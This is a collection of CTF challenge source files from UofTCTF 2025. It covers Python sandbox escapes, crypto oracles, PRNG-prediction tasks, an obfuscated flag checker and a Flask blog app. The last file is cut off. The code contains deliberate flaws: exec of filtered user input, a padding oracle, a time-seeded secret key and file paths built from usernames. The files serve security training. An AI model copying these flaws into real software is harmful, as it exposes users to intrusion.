sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/misc/model-assembly-line/chal.py | ctfs/UofTCTF/2025/misc/model-assembly-line/chal.py | import ast
class CodeValidator:
FUNCTION_NAME = "YOUR_MODEL"
UNSAFE_TYPES = (
ast.Import, ast.ImportFrom, ast.Attribute,
ast.Try, ast.TryStar, ast.Assert, ast.Global,
ast.Nonlocal, ast.Delete, ast.Call,
ast.FunctionDef, ast.AsyncFunctionDef,
ast.ClassDef, ast.Lambda
)
@staticmethod
def read_input(end_marker="$$END$$"):
print("Enter your model code below. End with '$$END$$' on a new line:")
try:
code_lines = []
while True:
line = input()
if line.strip() == end_marker:
break
code_lines.append(line + "\n")
return "".join(code_lines)
except KeyboardInterrupt:
raise ValueError("Input reading interrupted")
@staticmethod
def validate_function_def(node):
if not isinstance(node, ast.FunctionDef):
return False, "Top level node must be a function"
if node.name != CodeValidator.FUNCTION_NAME:
return False, f"Function must be named {CodeValidator.FUNCTION_NAME}"
if node.decorator_list:
return False, "Function cannot have decorators"
args = node.args
if any([
args.posonlyargs,
args.vararg,
args.kwarg,
args.defaults,
args.kw_defaults,
args.kwonlyargs
]):
return False, "Function has invalid argument structure"
return True, "Function definition valid"
class UnsafeNodeVisitor(ast.NodeVisitor):
def __init__(self):
self.unsafe = False
self.unsafe_nodes = []
self.is_top_level = True
def visit_FunctionDef(self, node):
if self.is_top_level:
self.is_top_level = False
self.visit(node.args)
if node.returns:
self.visit(node.returns)
for stmt in node.body:
self.visit(stmt)
if node.type_comment:
self.visit(ast.parse(node.type_comment))
if hasattr(node, 'type_params'):
for param in node.type_params:
self.visit(param)
else:
# Nested functions are not allowed (TODO: We've gotten some complaints that you need these to write a valid model. Maybe we should allow them in the beta version?)
self.unsafe = True
self.unsafe_nodes.append('FunctionDef')
super().generic_visit(node)
def generic_visit(self, node):
if isinstance(node, CodeValidator.UNSAFE_TYPES) and not isinstance(node, ast.FunctionDef):
self.unsafe = True
self.unsafe_nodes.append(type(node).__name__)
super().generic_visit(node)
def main():
validator = CodeValidator()
try:
code = validator.read_input()
if not code.strip():
print("Error: Empty input")
return
tree = ast.parse(code)
if len(tree.body) != 1:
print("Error: Code must contain exactly one function definition at the top level, and nothing else")
return
is_valid, message = validator.validate_function_def(tree.body[0])
if not is_valid:
print(f"Error: {message}")
return
visitor = UnsafeNodeVisitor()
visitor.visit(tree)
if visitor.unsafe:
print(f"Error: Unsafe nodes found: {', '.join(visitor.unsafe_nodes)}")
return
user_code = ast.unparse(tree.body[0])
with open('template', 'r', encoding='utf-8') as f:
template = f.read()
filled_template = template.replace("{{YOUR_MODEL_CODE}}", user_code)
try:
exec_builtins = {'__builtins__': __builtins__}
exec(filled_template, exec_builtins, exec_builtins)
except:
print("Huh, something went wrong. Does this thing even work properly?")
except SyntaxError as e:
print(f"Syntax error: {e}")
except ValueError as e:
print(f"Input error: {e}")
except Exception as e:
print(f"Unexpected error: {e}")
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/misc/math-test/chall.py | ctfs/UofTCTF/2025/misc/math-test/chall.py | import random
from flag import FLAG
def genRandMath():
eqn = f'{random.randint(-1000, 1000)}'
eqn = f"{eqn} {random.choice(['+', '*', '-', '//'])} {random.randint(-1000, 1000)}"
while random.randint(0, 3) != 1:
eqn = f"{eqn} {random.choice(['+', '*', '-', '//'])} {random.randint(-1000, 1000)}"
try:
res = eval(eqn)
return eqn, res
except ZeroDivisionError:
return genRandMath()
print("Welcome to a simple math test.")
print("If you solve these basic math questions, I will give you the flag.")
print("Good Luck")
for i in range(1000):
eqn, correct = genRandMath()
print(f"Question: {eqn}")
res = int(input("Answer: "))
if res != correct:
print(f"Wrong!! Correct answer is {correct}")
exit()
print(f"Correct {i+1}/1000")
print(f"Congratz! Here is the flag {FLAG}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/misc/simple-signing/chall.py | ctfs/UofTCTF/2025/misc/simple-signing/chall.py | from Crypto.Util.number import getPrime
from secrets import FLAG
ADMIN = b'adminTokenPlsNoSteal'
def sign(n: int, d: int, m: bytes):
if m == ADMIN:
print("no no")
exit(0)
h = hash(tuple(m))
return pow(h, d, n)
def verify(n: int, e: int, m: bytes, s: int):
h = hash(tuple(m))
return pow(s, e, n) == h
if __name__ == "__main__":
p, q = getPrime(1024), getPrime(1024)
e = 0x10001
n = p*q
d = pow(e, -1, (p-1)*(q-1))
print("""1. sign a message
2. get flag""")
while True:
inp = input("> ")
if int(inp) == 1:
msg = bytes.fromhex(input("Message to sign (in hex): "))
print("Signature:", sign(n, d, msg))
else:
sig = int(input("Give signature of admin token: "))
if verify(n, e, ADMIN, sig):
print("Congratz!!")
print(FLAG)
exit(0)
else:
print("You are not the admin")
exit(0) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/rev/py-flagchecker/chall.py | ctfs/UofTCTF/2025/rev/py-flagchecker/chall.py | def main():
import marshal, inspect
c=b'\x87\xfcA@\xc7\xc4\xea\xf5\xa6\x87\x84\x02\xd6\x9e\x85\x93\xdeM\xa9\xe7\'\xf1\xaf\xe7\xc5\xde:\xff\xff\x95\x9a\xce\x05v\xd21\xce~\xa5\xb6\x19KI\xafd\xf2\xb5D\x1d\xa9:<7\x97<\xc8\xfd\x02\x9fK\x9a\x14\xb3\xc8\xb82\x90\x1a7\x140j\xffw\xe6\xb1s\xcd|s\xfd\x99\xf4b\xe1Z\x9e\x86\xf1%q\x05\xf0\xfb\xd2\xf0G\xd5x\xc0A\xac\xc4\xe5\xca~}2\x8e.\x9d6\xbe\xe2\x9a\xa0u=\xe0\x98\xaa\xc1xl\x1aI~T\xec\xfe\x95F\xbbS1)\x7f\x01\xdam\xb7>\x91\xf0\xb9-"1\xa1V\xf4\x18{3\'\x8b\x16\xeb\x92%\r<\xbe\xe3\xda\xcc\xc1\x03\xae\xf7h\xe6\xd7\xa8h\xe4\x1dM\xf53.-o\xd7\xb4\x1b\xdd\x1f\x7fG\xeb[o\xbab\x1fZF\xa1\xbd\x81\xe5\xb3)\xdf\'\x01\xdb\xe0j\xd6\xf6\x8b+\x1b\xee\x97\xcb\x9c\xf7\x03\x00p\xdb\xe89}\xc8\xd6\xd2Tu\x85y\x08\xfa\xe2\x98\xd2\xfa\n\x00v\xd4\x0cr\x02ew\x99\xe6\xe2\x1b\x8b\xbd]\x08\xb2\x07\xdfg\xc2\xf3\xd32\xe65\xf1\xa4\x02:\xbe\xf6\xa4\xea\xe1\xc9 \xa4E\x9c\xe3\xf95\x81\xbdd\xb3&\xf7%\x8a\x05\x18\x1a\xdc\x00\x08\xd2\x95\xd8\x06\xc7\xe4\xfaI\xe5\x80K\x99\xfa\xd9\x8a\xc5d\x18\x03\xc6\xd4\x13m4\xf1ts\x866\xe0\xae8$\xb0z\x85\x0bU\xfdC\xe6\xc2\xef:Ra\xd2\x07h\xdf\x9b\xaa\xd8\xa3\xc1\xee}\x0b\xd0\x97\xb7\x11U\x98\x89E\x88\xfd\xa8\x85\x84Ez@\x92U\x8a6\xcb\x18\xb7\xe0$\xfe\xa6\x0f]\xbd\x05p\xc4\xa8"\xc0w\xd7I\xfd\x84\xe8\xb5\xa7\xc9A\x01\tV\xbb\xaa@HTiK\xab)W\xb3\xdf\x0e\xb0\xd8\x93Oh`\xf7[b\xbaB\x8f\xe2\x9d\tpXA\x11\x04\xa2N\x9e;\x07J\x9c@"\x90^9\xdc\x10\x87`9\xbe\xfc|\x04\xb6"\x95\xd7l\xf4\x07;\xfb\x8a\xf3\xc4\xd6\xa2T\xcc\x18v~y8RE\xca,Q\xf5\xb5\xed\xd6,6\xf1i%\x92\xc3\x83\xda\xdc-\x0fWe&/I\x04\x1e\xf4Y\x14]\xb3e\x97\x84\xe1\x922\xd0\x96e\xc2\x161\xebtr\xe8\xa3\xea(\x18!\x83\xf9\x0b+\xc1\x01\x1f\xcec\x1f\x91\xf2\xd8f\xbav\xf9\t\xd7\xab\xd4\x84\x10L\x95\xe7\xf5\xcf\x15\xdf\x9d\xad\xfa\xac\x9d\xcbJ\x86\x14^P\n\xbc\xbd\x1f\xbb\xaen\xe4\xd0q\xc0\xd8\xb3\x97\xdc\x92P\xaa\xe4j\x813~\xd0_q\x88y\xff[\x00\xaa@\x90\x87\x905\xb0\xc3\r\x91\t\x9f>\xdd\x17\x19\xe1.\x8eR\x06/\x99\x1b\xff\x8a\x95qY\xa3h\x10\xcau\x0c\x0b\xb8\xb5\x13\xf6\xde\x06\x9c\xb6\xffS\x819\x8e8\'\x1e\x0fker\xbcD\xc99\x9d\xda\x8b\xbd\x0e\x9cbF?\xe8,\x17w\x8d\xafk\xee\'\x7f\x9b\x07\x91{I\xd0\xbbi$\xf8\xad\xed\xcf\x83\xb8\xee\xbe\x8aM\xa3Ea\xe5\xe3s\xaf\xe5\xcc:<!\xee\x03\x96[\xf6\xde\xe0\xfa\xb0}\xfa\xdb\x95\x9eio\xba\xc8Oo\xc4^_\x12\x88V\xe5\x0c\x01\x07\x87{\xfc\x93,h\x94\xc1\x80\x96\xac6\xdf\x98+M\xd6\xd0\xcf\x15\xd6>H\x11)\x140\xf7\x12t[\x1a\xa7\xcc\x80v\x18<\xb7\xafOa;o\xf4\x86K\xcf\xe6\x87\xaa\xaaLfk\xc7w \x7fNk\xc0\x9f\xc8b\x1aFo\x80\x07 YRa\x96\xa6\xbcH\x84)SK\xda\xaeX\xbd\x82\x8d6\x11U6d\x91\xb101I\x17\xe0\xe7\xf0\xcc\xd7\x1a@t\xe4\\\x06]\x19\x975\xa2(\xc3\x13\xe3^my\xbe<\xe0\x05\xb8Cue\x9c\x18o3\xe9\xd4-\x10\x14\x9ea\xad\xcb\xd2\xee\xaa\xa0>re\x8a\xb9\x1d\xba\xd2\xb81[\xe7\xd19\xf5\x12\xfe~\xf4\xc5)\x15\xe0o\x01%?#\x94\xde\xa9\xc3g(WDN9\xd8\xeb\xb4\xef8?\xf6\x18\xbdu\x16\x8c"\xbe?c\xb7P\xd1V\x8d\x14\x94\xb8\xaa\xac,=\x81g\xd7G\xac\xf6\x84\xe8\x90\x7f\xce\x1crz@\x9e\xaf\xed\xa1\xb2@\x91\x8c\x89\xe6\xa8\xa5\x9c|\x1cq\xb0|1\x06\xe6\x87\xfcn3\x80\xc2\xb0\x8c\x0cI"\x1c48yC\xe2.\x7f\x7f"k\xbb\xae\xf5a/\xfa\x9f\n\x01\x00\xc7\xb9\xb0C\xff\xb6Y)\xf5a)5`\xf9iqx\xe03Z\xf0\x0bW\x0e\xa7\t\xb4\x98J\xf6\xe2\xa4\xaa\x1eG\xeeD\xe1\xadD\xbe\xfb\r/\x97v\x86j~\xbe\x9d\xf4F\xc0:$\x8a\x06n\x12`sE\xd4\xdc\xe5i\x1a$^\xd4\x06r\x87-bj9Ik[\ru\x8f\xb3q\xb9Y\xc1\xa6\xe8\xb3\xd8)'
def e(m, k):
r = []
r += [m[0]^(sum(k)&0o377)]
for _, i in enumerate(m[1:]):
k = e(k, [m[_]])
r += [i^(sum(k)&0o377)]
return bytes(r)
print("This is a simple python flag checking service.")
flag = input("Please give the flag to check: ")
k=[(a*b)&0xff for a,b in zip(map(sum,inspect.getsource(main).encode().splitlines()),map(len,inspect.getsource(main).encode().splitlines()))]
try: exec(marshal.loads(e(c, k)))
except: print("That is not the flag")
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/jail/dont-sandbox-python-2/chal.py | ctfs/UofTCTF/2025/jail/dont-sandbox-python-2/chal.py | from asteval import Interpreter
def read_input(end_marker: str = "$$END$$") -> str:
"""
Read input code until the end marker is encountered.
Args:
end_marker: String that signals the end of input
Returns:
Concatenated input code as a string
"""
print("Enter your code below. End with '$$END$$' on a new line:")
try:
code_lines = []
while True:
line = input()
if line.strip() == end_marker:
break
code_lines.append(line + "\n")
return "".join(code_lines)
except KeyboardInterrupt:
raise ValueError("Input reading interrupted")
def main():
aeval = Interpreter()
user_code = read_input()
try:
result = aeval(user_code)
print("Execution result:", result)
except Exception as e:
print("An error occurred:", str(e))
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/jail/dont-sandbox-python/chal.py | ctfs/UofTCTF/2025/jail/dont-sandbox-python/chal.py | from asteval import Interpreter
def read_input(end_marker: str = "$$END$$") -> str:
"""
Read input code until the end marker is encountered.
Args:
end_marker: String that signals the end of input
Returns:
Concatenated input code as a string
"""
print("Enter your code below. End with '$$END$$' on a new line:")
try:
code_lines = []
while True:
line = input()
if line.strip() == end_marker:
break
code_lines.append(line + "\n")
return "".join(code_lines)
except KeyboardInterrupt:
raise ValueError("Input reading interrupted")
def main():
aeval = Interpreter()
user_code = read_input()
try:
result = aeval(user_code)
print("Execution result:", result)
except Exception as e:
print("An error occurred:", str(e))
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/jail/dont-sandbox-python-3/chal.py | ctfs/UofTCTF/2025/jail/dont-sandbox-python-3/chal.py | from asteval import Interpreter
def read_input(end_marker: str = "$$END$$") -> str:
"""
Read input code until the end marker is encountered.
Args:
end_marker: String that signals the end of input
Returns:
Concatenated input code as a string
"""
print("Enter your code below. End with '$$END$$' on a new line:")
try:
code_lines = []
while True:
line = input()
if line.strip() == end_marker:
break
code_lines.append(line + "\n")
return "".join(code_lines)
except KeyboardInterrupt:
raise ValueError("Input reading interrupted")
def main():
aeval = Interpreter()
user_code = read_input()
try:
result = aeval(user_code)
print("Execution result:", result)
except Exception as e:
print("An error occurred:", str(e))
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/crypto/shuffler/shuffler.py | ctfs/UofTCTF/2025/crypto/shuffler/shuffler.py | #! /usr/local/bin/python3
from fractions import Fraction
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
def Bake(x,y):
if y <= 1 / 2:
x, y = x / 2, 2 * y
elif y >= 1 / 2:
x, y = 1 - x / 2, 2 - 2 * y
return x,y
class PRNG:
def __init__(self, initial_state):
self.x = initial_state[0]
self.y = initial_state[1]
def next(self):
num = self.x + self.y
self.x, self.y = Bake(self.x, self.y)
return num
def random_number(self, n=1):
return int(self.next()*n/2)
class Arrangement:
def __init__(self, seed, n):
self.seed = seed
self.nums = [i for i in range(1, n+1)]
self.shuffle(n)
def shuffle(self, n):
new_nums = []
for i in range(n):
num_index = self.seed % (n - i)
new_nums.append(self.nums.pop(num_index))
self.seed //= (n - i)
self.nums = new_nums
if __name__ == "__main__":
flag = b'uoftctf{...}'
initial_x = Fraction('...')
initial_y = Fraction('...')
k = int('...')
assert 0 <initial_y < 1 and 0 < initial_x < 1 and 0 < k < 100
y_hint1 = initial_y * Fraction(f'{2**k - 1}/{2**k}') * (2 ** k)
x_hint1 = initial_x * Fraction(f'{2**k - 1}/{2**k}') * (2 ** k)
assert y_hint1.denominator == 1 and x_hint1.denominator == 1
y_hint2 = int(bin(y_hint1.numerator)[:1:-1], 2)
x_hint2 = int(bin(x_hint1.numerator)[2:], 2)
assert x_hint2 == y_hint2 << 1
rng = PRNG((initial_x, initial_y))
key = sha256(long_to_bytes(rng.random_number(2**100))).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.encrypt(flag)
print(f"Welcome to the shuffler! Here's the flag if you are here for it {flag.hex()}.")
while True:
bound = int(input("Give me an upper bound for a sequence of numbers, I'll shuffle it for you! "))
if bound < 1:
print("Pick positive numbers!")
continue
if bound > 30:
print("That's too much for me!")
continue
print(Arrangement(rng.random_number(2**100), bound).nums) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/crypto/causation/causation.py | ctfs/UofTCTF/2025/crypto/causation/causation.py | import secrets
MASK = (1<<64)-1
def rotl(x, k):
return ((x<<k)&MASK)|(x>>(64-k))
class PRNG():
def __init__(self, state):
self.p = 0
assert not all(i==0 for i in state)
assert len(state)==16
assert all(i<(1<<64) for i in state)
self.state = state
def next(self):
q = self.p
self.p = (self.p+1)&15
s0 = self.state[self.p]
s15 = self.state[q]
res = (rotl(s0+s15, 23)+s15)&MASK
s15^=s0
self.state[q] = (rotl(s0, 25)^s15^(s15<<27))&MASK
self.state[self.p] = rotl(s15, 36)
return int(11*res/(2**64))
seed = [secrets.randbits(64) for i in range(16)]
salt = [secrets.randbits(64) for i in range(16)]
seed2 = [i^j for i,j in zip(seed, salt)]
print("Salt: ", salt)
rng1 = PRNG(seed)
rng2 = PRNG(seed2)
print("You now need to guess at least 20 out of 50 values correctly, good luck!")
print("Please input 50 points in the call sequence")
points = list(map(int, input().split()))
points.sort()
assert len(points)==50 and len(set(points))==50
assert points[0]>=0
assert points[-1]<100000
correct = 0
incorrect = 0
i = 0
while len(points)>0:
if i==points[0]:
print(rng1.next())
print("What's your guess?")
guess = int(input())
if guess==rng2.next():
correct+=1
else:
incorrect+=1
points = points[1:]
else:
rng1.next()
rng2.next()
i+=1
print("You achieved a score of", correct)
if correct>=20:
print(open("flag.txt").read())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/crypto/enchanted-oracle/generate-key.py | ctfs/UofTCTF/2025/crypto/enchanted-oracle/generate-key.py | from Crypto.Random import get_random_bytes
key = get_random_bytes(16)
with open('/app/key', 'wb') as f:
f.write(key)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/crypto/enchanted-oracle/aes-cbc.py | ctfs/UofTCTF/2025/crypto/enchanted-oracle/aes-cbc.py | from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
print("Welcome to the AES-CBC oracle!")
key = open("key", "rb").read()
while True:
print("Do you want to encrypt the flag or decrypt a message?")
print("1. Encrypt the flag")
print("2. Decrypt a message")
choice = input("Your choice: ")
if choice == "1":
cipher = AES.new(key=key, mode=AES.MODE_CBC)
ciphertext = cipher.iv + \
cipher.encrypt(pad(b"random", cipher.block_size))
print(f"{b64encode(ciphertext).decode()}")
elif choice == "2":
line = input().strip()
data = b64decode(line)
iv, ciphertext = data[:16], data[16:]
cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
try:
plaintext = unpad(cipher.decrypt(ciphertext),
cipher.block_size).decode('latin1')
except Exception as e:
print("Error!")
continue
if plaintext == "I am an authenticated admin, please give me the flag":
print("Victory! Your flag:")
print(open("flag.txt").read())
else:
print("Unknown command!")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/timeless/src/run.py | ctfs/UofTCTF/2025/web/timeless/src/run.py | from app import create_app
app = create_app()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/timeless/src/config.py | ctfs/UofTCTF/2025/web/timeless/src/config.py | from datetime import datetime
import os
import random
import uuid
class Config:
JSON_SORT_KEYS = False
START_TIME = datetime.now()
random.seed(int(START_TIME.timestamp()))
SECRET_KEY = str(uuid.uuid1(clock_seq=random.getrandbits(14)))
SESSION_USE_SIGNER = True
TEMPLATES_AUTO_RELOAD = False
SESSION_PERMANENT = True
SESSION_TYPE = 'filesystem'
SQLALCHEMY_DATABASE_URI = f"sqlite:///{os.path.join(os.getcwd(), 'db', 'app.db')}"
SQLALCHEMY_TRACK_MODIFICATIONS = False
UPLOAD_FOLDER = os.path.join(os.getcwd(), 'uploads')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/timeless/src/app/models.py | ctfs/UofTCTF/2025/web/timeless/src/app/models.py | import uuid
from . import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
profile_photo = db.Column(db.String(120), nullable=True)
posts = db.relationship('BlogPost', backref='author', lazy=True)
about_me = db.Column(db.Text, nullable=True)
class BlogPost(db.Model):
id = db.Column(db.Integer, primary_key=True)
uuid = db.Column(db.String(36), unique=True, nullable=False, default=str(uuid.uuid1()))
title = db.Column(db.String(120), nullable=False)
content = db.Column(db.Text, nullable=False)
visibility = db.Column(db.Boolean, default=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/timeless/src/app/helpers.py | ctfs/UofTCTF/2025/web/timeless/src/app/helpers.py | import os
import hashlib
from datetime import datetime
ALLOWED_EXTENSIONS = {'png', 'jpeg', 'jpg'}
def allowed_username(username):
return ".." not in username
def allowed_file(filename):
return not ("." in filename and (filename.rsplit('.', 1)[1].lower() not in ALLOWED_EXTENSIONS or ".." in filename))
def gen_filename(username, filename, timestamp=None):
if not timestamp:
timestamp = int(datetime.now().timestamp())
hash_value = hashlib.md5(f"{username}_{filename}_{timestamp}".encode()).hexdigest()
return hash_value
def ensure_upload_directory(base_path, username):
if not allowed_username(username):
return None
user_directory = os.path.join(base_path, username)
if os.path.exists(user_directory):
return user_directory
os.makedirs(user_directory, exist_ok=True)
return user_directory
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/timeless/src/app/__init__.py | ctfs/UofTCTF/2025/web/timeless/src/app/__init__.py | from flask import Flask, g
from flask_sqlalchemy import SQLAlchemy
from flask_session import Session
import os
db = SQLAlchemy()
def create_app():
app = Flask(__name__, static_folder='/app/app/static')
app.config.from_object("config.Config")
os.makedirs(os.path.dirname(app.config['SQLALCHEMY_DATABASE_URI'].split('sqlite:///')[1]), exist_ok=True)
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
db.init_app(app)
Session(app)
with app.app_context():
from . import routes
try:
db.drop_all()
db.create_all()
except Exception as e:
app.logger.error(f"Database initialization failed: {e}")
raise
return app | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/timeless/src/app/routes.py | ctfs/UofTCTF/2025/web/timeless/src/app/routes.py | import os
from uuid import uuid4
from datetime import datetime
from functools import wraps
from flask import (
render_template, request, redirect, url_for, session, flash, send_file,
current_app as app, jsonify, g, abort
)
from .models import User, BlogPost
from .helpers import (
allowed_username, allowed_file, gen_filename, ensure_upload_directory,
)
from . import db
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
return redirect(url_for('login_get'))
return f(*args, **kwargs)
return decorated_function
@app.route('/status', methods=['GET'])
def status():
current_time = datetime.now()
uptime = current_time - app.config['START_TIME']
return jsonify({"status": "ok", "server_time": str(current_time), "uptime": str(uptime)})
@app.route('/')
def index():
if 'user_id' in session:
user = User.query.get(session['user_id'])
my_posts = BlogPost.query.filter_by(user_id=user.id).all()
else:
user = None
my_posts = []
posts = BlogPost.query.filter_by(visibility=True).join(User).add_columns(
BlogPost.id,
BlogPost.uuid,
BlogPost.title,
User.username,
User.profile_photo
).all()
return render_template('index.html', user=user, posts=posts, my_posts=my_posts)
@app.route('/post/<uuid>', methods=['GET'])
def view_post(uuid):
post = BlogPost.query.filter_by(uuid=uuid).first_or_404()
if post.user_id != session.get('user_id') and not post.visibility:
abort(404)
author = User.query.get(post.user_id)
return render_template('view_post.html', post=post, author=author)
@app.route('/register', methods=['GET'])
def register_get():
return render_template('register.html')
@app.route('/register', methods=['POST'])
def register_post():
username = request.form['username']
if not allowed_username(username):
flash('Invalid username', 'error')
return redirect(url_for('register_get'))
password = request.form['password']
if User.query.filter_by(username=username).first():
flash('Username already exists', 'error')
return redirect(url_for('register_get'))
user = User(username=username, password=password)
db.session.add(user)
db.session.commit()
flash('Registration successful', 'success')
return redirect(url_for('login_get'))
@app.route('/login', methods=['GET'])
def login_get():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login_post():
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username, password=password).first()
if user:
session['user_id'] = user.id
flash('Login successful', 'success')
return redirect(url_for('index'))
flash('Invalid credentials', 'error')
return redirect(url_for('login_get'))
@app.route('/logout')
def logout():
session.pop('user_id', None)
flash('Logged out successfully', 'success')
return redirect(url_for('login_get'))
@app.route('/profile_picture', methods=['GET'])
def profile_picture():
username = request.args.get('username')
user = User.query.filter_by(username=username).first()
if user is None:
return "User not found", 404
if user.profile_photo is None:
return send_file(os.path.join(app.static_folder, 'default.png'))
file_path = os.path.join(app.config['UPLOAD_FOLDER'], user.username + user.profile_photo)
if not os.path.exists(file_path):
return send_file(os.path.join(app.static_folder, 'default.png'))
return send_file(file_path)
@app.route('/profile', methods=['GET'])
@login_required
def profile_get():
user = User.query.get(session['user_id'])
return render_template('profile.html', user=user)
@app.route('/profile', methods=['POST'])
@login_required
def profile_post():
user = User.query.get(session['user_id'])
about_me = request.form.get('about_me')
if about_me is not None:
user.about_me = about_me
file = request.files.get('profile_photo')
if file:
user.profile_photo = None
user_directory = ensure_upload_directory(app.config['UPLOAD_FOLDER'], user.username)
if not user_directory:
flash('Failed to create user directory', 'error')
return redirect(url_for('profile_get'))
ext = os.path.splitext(file.filename)[1].lower()
save_filename = f"{gen_filename(file.filename, user.username)}{ext}"
if not allowed_file(save_filename):
flash('Invalid file type', 'error')
return redirect(url_for('profile_get'))
filepath = os.path.join(user_directory, save_filename)
if not os.path.exists(filepath):
try:
user.profile_photo = "/"+save_filename
file.save(filepath)
except:
user.profile_photo = ''
flash('Failed to save file', 'error')
return redirect(url_for('profile_get'))
finally:
db.session.commit()
else:
flash('File already exists', 'error')
return redirect(url_for('profile_get'))
db.session.commit()
flash('Profile updated successfully', 'success')
return redirect(url_for('profile_get'))
@app.route('/new_post', methods=['GET'])
@login_required
def new_post_get():
return render_template('new_post.html')
@app.route('/new_post', methods=['POST'])
@login_required
def new_post_post():
title = request.form['title']
content = request.form['content']
visibility = request.form.get('visibility') == 'on'
post = BlogPost(uuid=str(uuid4()), title=title, content=content, visibility=visibility, user_id=session['user_id'])
db.session.add(post)
db.session.commit()
flash('Post created successfully', 'success')
return redirect(url_for('index'))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/code-db/src/code_samples/machine_learning_model.py | ctfs/UofTCTF/2025/web/code-db/src/code_samples/machine_learning_model.py | import numpy as np
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score
# Load dataset
iris = load_iris()
X = iris.data
y = iris.target
# Split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3)
# Model
clf = RandomForestClassifier(n_estimators=100)
clf.fit(X_train, y_train)
# Predict
